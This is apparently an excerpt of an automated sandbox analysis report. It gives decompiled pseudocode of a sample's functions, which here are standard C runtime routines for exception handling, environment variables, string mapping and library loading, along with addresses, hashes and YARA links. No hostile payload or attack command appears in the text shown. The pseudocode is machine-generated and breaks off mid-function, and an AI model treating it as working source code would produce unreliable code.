				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed int _t81;
				char _t83;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				void* _t102;
				void* _t104;
				void* _t111;

				_t89 = __edx;
				_t76 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t76 = E0041C32B(__ecx,  *_t76);
				_t77 = _a8;
				_t6 = _t77 + 0x10; // 0x11
				_t96 = _t6;
				_push(_t96);
				_v20 = _t96;
				_v12 =  *(_t77 + 8) ^  *0x42c014;
				E00407A50(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0x42c014);
				E00408B2C(_a12);
				_t52 = _a4;
				_t104 = _t102 - 0x1c + 0x10;
				_t93 =  *((intOrPtr*)(_t77 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t93 - 0xfffffffe;
					if(_t93 != 0xfffffffe) {
						_t89 = 0xfffffffe;
						E00408CB0(_t77, 0xfffffffe, _t96, 0x42c014);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
					if(_t93 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t81 = _v12;
							_t59 = _t93 + (_t93 + 2) * 2;
							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
							_t60 = _t81 + _t59 * 4;
							_t82 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t83 = _v5;
								goto L7;
							} else {
								_t89 = _t96;
								_t61 = E00408C50(_t82, _t96);
								_t83 = 1;
								_v5 = 1;
								_t111 = _t61;
								if(_t111 < 0) {
									_v16 = 0;
									L13:
									_push(_t96);
									E00407A50(_t77, _t89, _t93, _t96, _v12);
									goto L14;
								} else {
									if(_t111 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0x41e094;
											if(__eflags != 0) {
												_t72 = E0041BFA0(__eflags, 0x41e094);
												_t104 = _t104 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t98 =  *0x41e094; // 0x406210
													 *0x41d130(_a4, 1);
													 *_t98();
													_t96 = _v20;
													_t104 = _t104 + 8;
												}
												_t62 = _a4;
											}
										}
										_t90 = _t62;
										E00408C90(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
											_t90 = _t93;
											E00408CB0(_t64, _t93, _t96, 0x42c014);
											_t64 = _a8;
										}
										_push(_t96);
										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
										E00407A50(_t77, _t90, _t93, _t96, _v12);
										_t86 =  *((intOrPtr*)(_v24 + 8));
										E00408C70();
										asm("int3");
										_t66 = E00408CC7();
										__eflags = _t66;
										if(_t66 != 0) {
											_t67 = E00407D53(_t86);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E00408D03();
												goto L24;
											}
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L28;
							L7:
							_t93 = _t77;
						} while (_t77 != 0xfffffffe);
						if(_t83 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L28:
			}

0x00407a90
0x00407a97
0x00407a9b
0x00407a9c
0x00407aa2
0x00407aae
0x00407ab0
0x00407ab6
0x00407ab6
0x00407abf
0x00407ac1
0x00407ac4
0x00407ac7
0x00407acf
0x00407ad4
0x00407ad7
0x00407ada
0x00407ae1
0x00407b3d
0x00407b40
0x00407b48
0x00407b4f
0x00000000
0x00407b4f
0x00000000
0x00407ae3
0x00407ae3
0x00407ae9
0x00407aef
0x00407af5
0x00407b60
0x00407b69
0x00407af7
0x00407af7
0x00407af7
0x00407afd
0x00407b00
0x00407b03
0x00407b06
0x00407b09
0x00407b0e
0x00407b24
0x00000000
0x00407b10
0x00407b10
0x00407b12
0x00407b17
0x00407b19
0x00407b1c
0x00407b1e
0x00407b34
0x00407b54
0x00407b54
0x00407b58
0x00000000
0x00407b20
0x00407b20
0x00407b6a
0x00407b6d
0x00407b73
0x00407b75
0x00407b7c
0x00407b83
0x00407b88
0x00407b8b
0x00407b8d
0x00407b8f
0x00407b9c
0x00407ba2
0x00407ba4
0x00407ba7
0x00407ba7
0x00407baa
0x00407baa
0x00407b7c
0x00407bb0
0x00407bb2
0x00407bb7
0x00407bba
0x00407bbd
0x00407bc5
0x00407bc9
0x00407bce
0x00407bce
0x00407bd1
0x00407bd5
0x00407bd8
0x00407be5
0x00407be8
0x00407bed
0x00407bee
0x00407bf3
0x00407bf5
0x00407bfa
0x00407bff
0x00407c01
0x00407c0c
0x00407c03
0x00407c03
0x00000000
0x00407c03
0x00407bf7
0x00407bf7
0x00407bf7
0x00407bf9
0x00407bf9
0x00407b22
0x00000000
0x00407b22
0x00407b20
0x00407b1e
0x00000000
0x00407b27
0x00407b27
0x00407b29
0x00407b30
0x00000000
0x00407b32
0x00000000
0x00407b30
0x00407af5
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00407AC7
___except_validate_context_record.LIBVCRUNTIME ref: 00407ACF
_ValidateLocalCookies.LIBCMT ref: 00407B58
__IsNonwritableInCurrentImage.LIBCMT ref: 00407B83
_ValidateLocalCookies.LIBCMT ref: 00407BD8

Strings

Z7@, xrefs: 00407B9C
csm, xrefs: 00407B6D

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: Z7@$csm
API String ID: 1170836740-2565746272
Opcode ID: 9d76f89605992a8fe9fab702b1975ea8b3e5ddfde48666b6caeff8bd30ab8ec5
Instruction ID: 68380c406f89879a80e5b95123ad65c4dd4f8e65f0a74b2ba476656eb97fb31c
Opcode Fuzzy Hash: 9d76f89605992a8fe9fab702b1975ea8b3e5ddfde48666b6caeff8bd30ab8ec5
Instruction Fuzzy Hash: 5541B934E042189BCF10DF69C884A9E7BB4AF44318F14807AE9147B3D1D779B945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00416643 Relevance: 12.2, APIs: 8, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00416643(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t76;
				signed int* _t78;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				intOrPtr* _t98;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;
				void* _t126;
				signed int _t130;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t149;
				signed int _t150;
				void* _t153;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t162;

				_t110 = __ebx;
				_t153 = _t157;
				_t158 = _t157 - 0x10;
				_t146 = _a4;
				_t163 = _t146;
				if(_t146 != 0) {
					_push(__ebx);
					_t141 = _t146;
					_t59 = E0041C150(_t146, 0x3d);
					_v20 = _t59;
					__eflags = _t59;
					if(__eflags == 0) {
						L38:
						 *((intOrPtr*)(E0040938C(__eflags))) = 0x16;
						goto L39;
					} else {
						__eflags = _t59 - _t146;
						if(__eflags == 0) {
							goto L38;
						} else {
							_v5 =  *((intOrPtr*)(_t59 + 1));
							L60();
							_t110 = 0;
							__eflags =  *0x458180 - _t110; // 0x9feee0
							if(__eflags != 0) {
								L14:
								_t64 =  *0x458180; // 0x9feee0
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L39;
								} else {
									_t67 = E0041694B(_t146, _v20 - _t146);
									_v16 = _t67;
									_t120 = _v12;
									__eflags = _t67;
									if(_t67 < 0) {
										L24:
										__eflags = _v5 - _t110;
										if(_v5 == _t110) {
											goto L40;
										} else {
											_t68 =  ~_t67;
											_v16 = _t68;
											_t30 = _t68 + 2; // 0x2
											_t139 = _t30;
											__eflags = _t139 - _t68;
											if(_t139 < _t68) {
												goto L39;
											} else {
												__eflags = _t139 - 0x3fffffff;
												if(_t139 >= 0x3fffffff) {
													goto L39;
												} else {
													_v12 = E00418F44(_t120, _t139, 4);
													E0040F644(_t110);
													_t71 = _v12;
													_t158 = _t158 + 0x10;
													__eflags = _t71;
													if(_t71 == 0) {
														goto L39;
													} else {
														_t121 = _v16;
														_t141 = _t110;
														 *(_t71 + _t121 * 4) = _t146;
														 *(_t71 + 4 + _t121 * 4) = _t110;
														goto L29;
													}
												}
											}
										}
									} else {
										__eflags =  *_t120 - _t110;
										if( *_t120 == _t110) {
											goto L24;
										} else {
											E0040F644( *((intOrPtr*)(_t120 + _t67 * 4)));
											_t138 = _v16;
											__eflags = _v5 - _t110;
											if(_v5 != _t110) {
												_t141 = _t110;
												 *(_v12 + _t138 * 4) = _t146;
											} else {
												_t139 = _v12;
												while(1) {
													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
														break;
													}
													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
													_t138 = _t138 + 1;
													__eflags = _t138;
												}
												_v16 = E00418F44(_t139, _t138, 4);
												E0040F644(_t110);
												_t71 = _v16;
												_t158 = _t158 + 0x10;
												__eflags = _t71;
												if(_t71 != 0) {
													L29:
													 *0x458180 = _t71;
												}
											}
											__eflags = _a8 - _t110;
											if(_a8 == _t110) {
												goto L40;
											} else {
												_t122 = _t146 + 1;
												do {
													_t72 =  *_t146;
													_t146 = _t146 + 1;
													__eflags = _t72;
												} while (_t72 != 0);
												_v16 = _t146 - _t122 + 2;
												_t149 = E0040FEA9(_t146 - _t122 + 2, 1);
												_pop(_t124);
												__eflags = _t149;
												if(_t149 == 0) {
													L37:
													E0040F644(_t149);
													goto L40;
												} else {
													_t76 = E0040E2C4(_t149, _v16, _a4);
													_t160 = _t158 + 0xc;
													__eflags = _t76;
													if(__eflags != 0) {
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														E004092DF();
														asm("int3");
														_push(_t153);
														_push(_t141);
														_t143 = _v48;
														__eflags = _t143;
														if(_t143 != 0) {
															_t126 = 0;
															_t78 = _t143;
															__eflags =  *_t143;
															if( *_t143 != 0) {
																do {
																	_t78 =  &(_t78[1]);
																	_t126 = _t126 + 1;
																	__eflags =  *_t78;
																} while ( *_t78 != 0);
															}
															_t51 = _t126 + 1; // 0x2
															_t150 = E0040FEA9(_t51, 4);
															_t128 = _t149;
															__eflags = _t150;
															if(_t150 == 0) {
																L58:
																E0040B689(_t110, _t128, _t139, _t143, _t150);
																goto L59;
															} else {
																_t130 =  *_t143;
																__eflags = _t130;
																if(_t130 == 0) {
																	L57:
																	E0040F644(0);
																	_t86 = _t150;
																	goto L45;
																} else {
																	_push(_t110);
																	_t110 = _t150 - _t143;
																	__eflags = _t110;
																	do {
																		_t52 = _t130 + 1; // 0x5
																		_t139 = _t52;
																		do {
																			_t87 =  *_t130;
																			_t130 = _t130 + 1;
																			__eflags = _t87;
																		} while (_t87 != 0);
																		_t53 = _t130 - _t139 + 1; // 0x6
																		_v12 = _t53;
																		 *(_t110 + _t143) = E0040FEA9(_t53, 1);
																		E0040F644(0);
																		_t162 = _t160 + 0xc;
																		__eflags =  *(_t110 + _t143);
																		if( *(_t110 + _t143) == 0) {
																			goto L58;
																		} else {
																			_t91 = E0040E2C4( *(_t110 + _t143), _v12,  *_t143);
																			_t160 = _t162 + 0xc;
																			__eflags = _t91;
																			if(_t91 != 0) {
																				L59:
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				E004092DF();
																				asm("int3");
																				_t84 =  *0x458180; // 0x9feee0
																				__eflags = _t84 -  *0x45818c; // 0x9feee0
																				if(__eflags == 0) {
																					_push(_t84);
																					L43();
																					 *0x458180 = _t84;
																					return _t84;
																				}
																				return _t84;
																			} else {
																				goto L55;
																			}
																		}
																		goto L63;
																		L55:
																		_t143 = _t143 + 4;
																		_t130 =  *_t143;
																		__eflags = _t130;
																	} while (_t130 != 0);
																	goto L57;
																}
															}
														} else {
															_t86 = 0;
															__eflags = 0;
															L45:
															return _t86;
														}
													} else {
														asm("sbb eax, eax");
														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
														__eflags = E0041AE94(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
														if(__eflags == 0) {
															_t98 = E0040938C(__eflags);
															_t111 = _t110 | 0xffffffff;
															__eflags = _t111;
															 *_t98 = 0x2a;
														}
														goto L37;
													}
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L9:
									__eflags = _v5 - _t110;
									if(_v5 != _t110) {
										 *0x458180 = E0040FEA9(1, 4);
										E0040F644(_t110);
										_t158 = _t158 + 0xc;
										__eflags =  *0x458180 - _t110; // 0x9feee0
										if(__eflags == 0) {
											L39:
											_t111 = _t110 | 0xffffffff;
											__eflags = _t111;
											goto L40;
										} else {
											__eflags =  *0x458184 - _t110; // 0x0
											if(__eflags != 0) {
												goto L14;
											} else {
												 *0x458184 = E0040FEA9(1, 4);
												E0040F644(_t110);
												_t158 = _t158 + 0xc;
												__eflags =  *0x458184 - _t110; // 0x0
												if(__eflags == 0) {
													goto L39;
												} else {
													goto L14;
												}
											}
										}
									} else {
										_t111 = 0;
										L40:
										E0040F644(_t141);
										_t62 = _t111;
										goto L41;
									}
								} else {
									__eflags =  *0x458184 - _t110; // 0x0
									if(__eflags == 0) {
										goto L9;
									} else {
										__eflags = L0040C179();
										if(__eflags == 0) {
											goto L38;
										} else {
											L60();
											goto L14;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E0040938C(_t163);
					 *_t109 = 0x16;
					_t62 = _t109 | 0xffffffff;
					L41:
					return _t62;
				}
				L63:
			}

0x00416643
0x00416646
0x00416648
0x0041664c
0x0041664f
0x00416651
0x00416666
0x0041666b
0x0041666d
0x00416672
0x00416677
0x00416679
0x0041685a
0x0041685f
0x00000000
0x0041667f
0x0041667f
0x00416681
0x00000000
0x00416687
0x0041668a
0x0041668d
0x00416692
0x00416694
0x0041669a
0x00416717
0x00416717
0x0041671c
0x0041671f
0x00416721
0x00000000
0x00416727
0x0041672e
0x00416733
0x00416738
0x0041673b
0x0041673d
0x0041678e
0x0041678e
0x00416791
0x00000000
0x00416797
0x00416797
0x00416799
0x0041679c
0x0041679c
0x0041679f
0x004167a1
0x00000000
0x004167a7
0x004167a7
0x004167ad
0x00000000
0x004167b3
0x004167bd
0x004167c0
0x004167c5
0x004167c8
0x004167cb
0x004167cd
0x00000000
0x004167d3
0x004167d3
0x004167d6
0x004167d8
0x004167db
0x00000000
0x004167db
0x004167cd
0x004167ad
0x004167a1
0x0041673f
0x0041673f
0x00416741
0x00000000
0x00416743
0x00416746
0x0041674c
0x0041674f
0x00416752
0x00416787
0x00416789
0x00416754
0x00416754
0x00416761
0x00416761
0x00416764
0x00000000
0x00000000
0x0041675d
0x00416760
0x00416760
0x00416760
0x00416770
0x00416773
0x00416778
0x0041677b
0x0041677e
0x00416780
0x004167df
0x004167df
0x004167df
0x00416780
0x004167e4
0x004167e7
0x00000000
0x004167e9
0x004167e9
0x004167ec
0x004167ec
0x004167ee
0x004167ef
0x004167ef
0x004167fb
0x00416803
0x00416806
0x00416807
0x00416809
0x00416851
0x00416852
0x00000000
0x0041680b
0x00416812
0x00416817
0x0041681a
0x0041681c
0x00416876
0x00416877
0x00416878
0x00416879
0x0041687a
0x0041687b
0x00416880
0x00416883
0x00416887
0x00416888
0x0041688b
0x0041688d
0x00416894
0x00416896
0x00416898
0x0041689a
0x0041689c
0x0041689c
0x0041689f
0x004168a0
0x004168a0
0x0041689c
0x004168a6
0x004168b1
0x004168b4
0x004168b5
0x004168b7
0x0041691f
0x0041691f
0x00000000
0x004168b9
0x004168b9
0x004168bb
0x004168bd
0x0041690f
0x00416911
0x00416917
0x00000000
0x004168bf
0x004168bf
0x004168c2
0x004168c2
0x004168c4
0x004168c4
0x004168c4
0x004168c7
0x004168c7
0x004168c9
0x004168ca
0x004168ca
0x004168d2
0x004168d6
0x004168e0
0x004168e3
0x004168e8
0x004168eb
0x004168ef
0x00000000
0x004168f1
0x004168f9
0x004168fe
0x00416901
0x00416903
0x00416924
0x00416926
0x00416927
0x00416928
0x00416929
0x0041692a
0x0041692b
0x00416930
0x00416931
0x00416936
0x0041693c
0x0041693e
0x0041693f
0x00416945
0x00000000
0x00416945
0x0041694a
0x00000000
0x00000000
0x00000000
0x00416903
0x00000000
0x00416905
0x00416905
0x00416908
0x0041690a
0x0041690a
0x00000000
0x0041690e
0x004168bd
0x0041688f
0x0041688f
0x0041688f
0x00416891
0x00416893
0x00416893
0x0041681e
0x0041682f
0x00416833
0x0041683f
0x00416841
0x00416843
0x00416848
0x00416848
0x0041684b
0x0041684b
0x00000000
0x00416841
0x0041681c
0x00416809
0x004167e7
0x00416741
0x0041673d
0x0041669c
0x0041669c
0x0041669f
0x004166bd
0x004166bd
0x004166c0
0x004166d3
0x004166d8
0x004166dd
0x004166e0
0x004166e6
0x00416865
0x00416865
0x00416865
0x00000000
0x004166ec
0x004166ec
0x004166f2
0x00000000
0x004166f4
0x004166fe
0x00416703
0x00416708
0x0041670b
0x00416711
0x00000000
0x00000000
0x00000000
0x00000000
0x00416711
0x004166f2
0x004166c2
0x004166c2
0x00416868
0x00416869
0x00416870
0x00000000
0x00416872
0x004166a1
0x004166a1
0x004166a7
0x00000000
0x004166a9
0x004166ae
0x004166b0
0x00000000
0x004166b6
0x004166b6
0x00000000
0x004166b6
0x004166b0
0x004166a7
0x0041669f
0x0041669a
0x00416681
0x00416653
0x00416653
0x00416658
0x0041665e
0x00416873
0x00416875
0x00416875
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041666D
_free.LIBCMT ref: 00416746
_free.LIBCMT ref: 00416773

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 37137d8413077d68d6d5e97f88c6d7f2acd36499795e62f771c2465ad8ac2935
Instruction ID: eb384ffbabcb54dd38baf1d644fefe0aac7db719e8af4ad5ac3b2d2e27c624a1
Opcode Fuzzy Hash: 37137d8413077d68d6d5e97f88c6d7f2acd36499795e62f771c2465ad8ac2935
Instruction Fuzzy Hash: 4751D5B1905305AFDB20BF768882AAE77A4AB01318F05457FE910A72D2DF3DD981CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 02716AAA Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 02716AD4
_free.LIBCMT ref: 02716BAD
_free.LIBCMT ref: 02716BDA

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f6ace3f649be4b7046e7724fb4e6ab6d84aaf7ccf4b69fd2b20b5ff05c561f3b
Instruction ID: 53806df61cc59a85a1fd16aa54952a8592152e073ce536e9a8e1250253e1c4e2
Opcode Fuzzy Hash: f6ace3f649be4b7046e7724fb4e6ab6d84aaf7ccf4b69fd2b20b5ff05c561f3b
Instruction Fuzzy Hash: AE51F171A05306EFDB21AFBD8884A6D7BF9EF41314F14456EE910A7281EF32A109CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00412CF6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00412CF6(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				signed int _t49;
				void* _t51;
				signed int _t55;
				intOrPtr _t63;
				intOrPtr _t69;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr _t86;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr _t93;
				void* _t94;
				void* _t95;
				signed int _t96;
				void* _t97;
				intOrPtr* _t98;
				intOrPtr* _t100;
				void* _t103;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x42c014; // 0xee6350c6
				_v8 = _t41 ^ _t96;
				_t93 = _a20;
				if(_t93 > 0) {
					_t69 = E0040B87D(_a16, _t93);
					_t103 = _t69 - _t93;
					_t4 = _t69 + 1; // 0x1
					_t93 = _t4;
					if(_t103 >= 0) {
						_t93 = _t69;
					}
				}
				_t88 = _a32;
				if(_a32 == 0) {
					_t88 =  *((intOrPtr*)( *_a4 + 8));
					_a32 =  *((intOrPtr*)( *_a4 + 8));
				}
				_t86 = E00415075(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
				_t98 = _t97 + 0x18;
				_v12 = _t86;
				if(_t86 == 0) {
					L39:
					_pop(_t89);
					_pop(_t94);
					_pop(_t71);
					return E00404A89(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
				} else {
					_t17 = _t86 + _t86 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t86 + _t86 & _t17;
					if(_t49 == 0) {
						_t72 = 0;
						L15:
						if(_t72 == 0) {
							L37:
							_t95 = 0;
							L38:
							E0040481A(_t72);
							_t46 = _t95;
							goto L39;
						}
						_t51 = E00415075(_t88, 1, _a16, _t93, _t72, _t86);
						_t100 = _t98 + 0x18;
						if(_t51 == 0) {
							goto L37;
						}
						_t90 = _v12;
						_t95 = E0040FCEA(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
						if(_t95 == 0) {
							goto L37;
						}
						_t86 = 0x400;
						if((_a12 & 0x00000400) == 0) {
							_t31 = _t95 + _t95 + 8; // 0x8
							asm("sbb eax, eax");
							_t55 = _t95 + _t95 & _t31;
							if(_t55 == 0) {
								_t91 = 0;
								L31:
								if(_t91 == 0 || E0040FCEA(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
									L36:
									E0040481A(_t91);
									goto L37;
								} else {
									_push(0);
									_push(0);
									if(_a28 != 0) {
										_push(_a28);
										_push(_a24);
									} else {
										_push(0);
										_push(0);
									}
									_push(_t95);
									_push(_t91);
									_push(0);
									_push(_a32);
									_t95 = E004150F1();
									if(_t95 != 0) {
										E0040481A(_t91);
										goto L38;
									} else {
										goto L36;
									}
								}
							}
							if(_t55 > 0x400) {
								_t91 = E0040FE5B(_t55);
								if(_t91 == 0) {
									goto L36;
								}
								 *_t91 = 0xdddd;
								L29:
								_t91 = _t91 + 8;
								goto L31;
							}
							E00404E60(_t55);
							_t91 = _t100;
							if(_t91 == 0) {
								goto L36;
							}
							 *_t91 = 0xcccc;
							goto L29;
						}
						_t63 = _a28;
						if(_t63 == 0) {
							goto L38;
						}
						if(_t95 > _t63) {
							goto L37;
						}
						_t95 = E0040FCEA(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
						if(_t95 != 0) {
							goto L38;
						}
						goto L37;
					}
					if(_t49 > 0x400) {
						_t72 = E0040FE5B(_t49);
						if(_t72 == 0) {
							L13:
							_t86 = _v12;
							goto L15;
						}
						 *_t72 = 0xdddd;
						L12:
						_t72 = _t72 + 8;
						goto L13;
					}
					E00404E60(_t49);
					_t72 = _t98;
					if(_t72 == 0) {
						goto L13;
					}
					 *_t72 = 0xcccc;
					goto L12;
				}
			}

0x00412cfb
0x00412cfc
0x00412cfd
0x00412d04
0x00412d09
0x00412d0f
0x00412d15
0x00412d1b
0x00412d1e
0x00412d1e
0x00412d21
0x00412d23
0x00412d23
0x00412d21
0x00412d25
0x00412d2a
0x00412d31
0x00412d34
0x00412d34
0x00412d55
0x00412d57
0x00412d5a
0x00412d5f
0x00412ebd
0x00412ec0
0x00412ec1
0x00412ec2
0x00412ece
0x00412d65
0x00412d68
0x00412d6d
0x00412d6f
0x00412d71
0x00412da8
0x00412daa
0x00412dac
0x00412eb2
0x00412eb2
0x00412eb4
0x00412eb5
0x00412ebb
0x00000000
0x00412ebb
0x00412dbb
0x00412dc0
0x00412dc5
0x00000000
0x00000000
0x00412dcb
0x00412de2
0x00412de6
0x00000000
0x00000000
0x00412dec
0x00412df4
0x00412e31
0x00412e36
0x00412e38
0x00412e3a
0x00412e6b
0x00412e6d
0x00412e6f
0x00412eab
0x00412eac
0x00000000
0x00412e8c
0x00412e8e
0x00412e8f
0x00412e93
0x00412ecf
0x00412ed2
0x00412e95
0x00412e95
0x00412e96
0x00412e96
0x00412e97
0x00412e98
0x00412e99
0x00412e9a
0x00412ea2
0x00412ea9
0x00412ed8
0x00000000
0x00000000
0x00000000
0x00000000
0x00412ea9
0x00412e6f
0x00412e3e
0x00412e59
0x00412e5e
0x00000000
0x00000000
0x00412e60
0x00412e66
0x00412e66
0x00000000
0x00412e66
0x00412e40
0x00412e45
0x00412e49
0x00000000
0x00000000
0x00412e4b
0x00000000
0x00412e4b
0x00412df6
0x00412dfb
0x00000000
0x00000000
0x00412e03
0x00000000
0x00000000
0x00412e1f
0x00412e23
0x00000000
0x00000000
0x00000000
0x00412e29
0x00412d78
0x00412d93
0x00412d98
0x00412da3
0x00412da3
0x00000000
0x00412da3
0x00412d9a
0x00412da0
0x00412da0
0x00000000
0x00412da0
0x00412d7a
0x00412d7f
0x00412d83
0x00000000
0x00000000
0x00412d85
0x00000000
0x00412d85

APIs

__alloca_probe_16.LIBCMT ref: 00412D7A
__alloca_probe_16.LIBCMT ref: 00412E40
__freea.LIBCMT ref: 00412EAC

Part of subcall function 0040FE5B: RtlAllocateHeap.NTDLL(00000000,?,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040FE8D

__freea.LIBCMT ref: 00412EB5
__freea.LIBCMT ref: 00412ED8

Strings

;cA, xrefs: 00412D08

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: ;cA
API String ID: 1423051803-2557778433
Opcode ID: ec7df8b0239921a1d78e0a1b5473c54aa5e87585aead99b8ee66a33a4251782f
Instruction ID: 2aff171d04d146892ea94886eadf8de1d115464311847070406791d308f88001
Opcode Fuzzy Hash: ec7df8b0239921a1d78e0a1b5473c54aa5e87585aead99b8ee66a33a4251782f
Instruction Fuzzy Hash: 4A510172500206AFEB259F61DD41EFB36A9EF84754F15412BFD08E7240E7B8DCA186A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040F854 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040F854(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x4581e0 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x41f900 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E0040E9F8(_t23, L"api-ms-", 7);
